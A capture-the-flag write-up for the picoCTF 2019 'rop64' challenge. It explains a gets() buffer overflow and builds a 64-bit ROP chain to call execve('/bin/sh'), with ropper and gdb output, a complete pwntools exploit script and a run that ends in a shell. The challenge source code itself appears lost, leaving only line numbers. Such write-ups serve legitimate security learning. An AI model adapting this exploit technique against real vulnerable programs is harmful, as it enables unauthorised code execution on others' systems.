ROP 64 bits - execve syscall
Summary
Exploiting a buffer overflow and using ROP to call execve
.
Challenge
Description
Challenge : rop64
from PicoCTF 2019.
Time for the classic ROP in 64-bit. Can you exploit this program to get a flag?
Source code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
|
Writeup
As you can see, we can exploit a buffer overlow on the gets(buf)
function.
The goal here is to call execve
with the argument /bin/sh
.
int execve(const char *filename, char *const argv[], char *const envp[]);
To do this we can look up at the syscalls list for x86_64 architecture. The function execve
is the number 59
and takes 3 arguments. In 64 bits architecture, arguments are passed via registers.
Goal :
rax = 0x3b ; 'execve' syscall id, 0x3b = 59
rdi = /bin/sh ; Pointer to "/bin/sh" string in memory.
rsi = 0 ; No argument
rdx = 0 ; No argument
Then, execute syscall.
To find the padding of the buffer overflow, I use the cyclic
and find_cyclic
functions of the pwntools library.
To set rax
(or another register to a specified value) to 0x3b
we can use two methods :
- Using the stack :
push 0x3b
, add0x3b
on the stackpop rax
, pop0x3b
intorax
- Using bitwise operations :
xor rax, rax
, setrax
to 0add rax, 3
, add 3 torax
(repeat this 19 times, 19*3=57)add rax, 2
, add 2 torax
(57+2 = 59 = 0x3B).
To set rsi
and rdx
to 0, we will use the stack.
To set rdi
to a pointer of the /bin/sh
string in memory, we need to find a writable address. Inside gdb
, we can use the vmmap
command to show the range of addresses that are writable. In our case, we will use the first writable address, 0x00000000006b6000
.
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/.../rop64/vuln
We will use the instruction mov qword ptr [rax], rdx
to write /bin/sh
into 0x00000000006b6000
, with rax
equals to 0x00000000006b6000
and rdx
to /bin/sh
.
To find all the gadgets addresses, I use ropper.
$ ropper -f vuln --search 'pop rdx; ret;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdx; ret;
[INFO] File: vuln
0x000000000044bf16: pop rdx; ret;
We are now able to write our python solver script.
Source code (solve.py) :
#!/usr/bin/env python3
from pwn import process, p64, cyclic, cyclic_find, log
# context
PROGRAM = "./vuln"
def find_padding_size():
proc = process(PROGRAM)
pattern = cyclic(32)
proc.sendlineafter(b"Can you ROP your way out of this?\n", pattern)
proc.wait()
core = proc.corefile
seg_addr = int(f"0x{hex(core.fault_addr)[-8:]}", 16)
return cyclic_find(seg_addr)
"""
0x0000000000444c50: xor rax, rax; ret;
0x00000000004749c0: add rax, 1; ret;
0x00000000004749b7: add rax, 2; ret;
0x00000000004749d0: add rax, 3; ret;
0x000000000048d341: mov qword ptr [rax], rdx; ret;
0x00000000004156f4: pop rax; ret;
0x0000000000400686: pop rdi; ret;
0x00000000004100d3: pop rsi; ret;
0x000000000044bf16: pop rdx; ret;
0x000000000040123c: syscall;
"""
# padding size
padding_size = find_padding_size()
log.info(f"Padding size : {padding_size}")
# gadgets
xor_rax = p64(0x0000000000444c50)
add_rax_2 = p64(0x00000000004749b7)
add_rax_3 = p64(0x00000000004749d0)
pop_rax = p64(0x00000000004156f4)
pop_rdi = p64(0x0000000000400686)
pop_rsi = p64(0x00000000004100d3)
pop_rdx = p64(0x000000000044bf16)
bin_sh = b"/bin/sh\x00"
syscall = p64(0x000000000040123c)
writable_memory = p64(0x00000000006b6000)
write_memory_into_rax = p64(0x000000000048d341)
# padding
buf = b"A" * padding_size
# write "/bin/sh" string into memory
buf += pop_rdx
buf += bin_sh
buf += pop_rax
buf += writable_memory
buf += write_memory_into_rax
# set rax to '0x3b' (execve syscall id)
"""
buf += pop_rax
buf += p64(0x3b)
"""
buf += xor_rax
buf += add_rax_3 * 19
buf += add_rax_2 * 1
# set 'rdi' to '/bin/sh' address pointer
buf += pop_rdi
buf += writable_memory
# set 'rsi' to 0
buf += pop_rsi
buf += p64(0)
# set 'rdx' to 0
buf += pop_rdx
buf += p64(0)
# syscall
buf += syscall
proc = process(PROGRAM)
proc.sendlineafter(b"Can you ROP your way out of this?\n", buf)
proc.interactive()
Execution :
$ python3 solve.py
[+] Starting local process './vuln': pid 14552
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 14552)
[+] Parsing corefile...: Done
[*] '/home/.../rop64/core.14552'
Arch: amd64-64-little
RIP: 0x400b6e
RSP: 0x7ffcdaa49cd8
Exe: '/home/.../rop64/vuln' (0x400000)
Fault: 0x6161616861616167
[*] Padding size : 24
[+] Starting local process './vuln': pid 14566
[*] Switching to interactive mode
$ id
uid=1000(xanhacks) gid=1000(xanhacks) groups=1000(xanhacks),995(audio),998(wheel)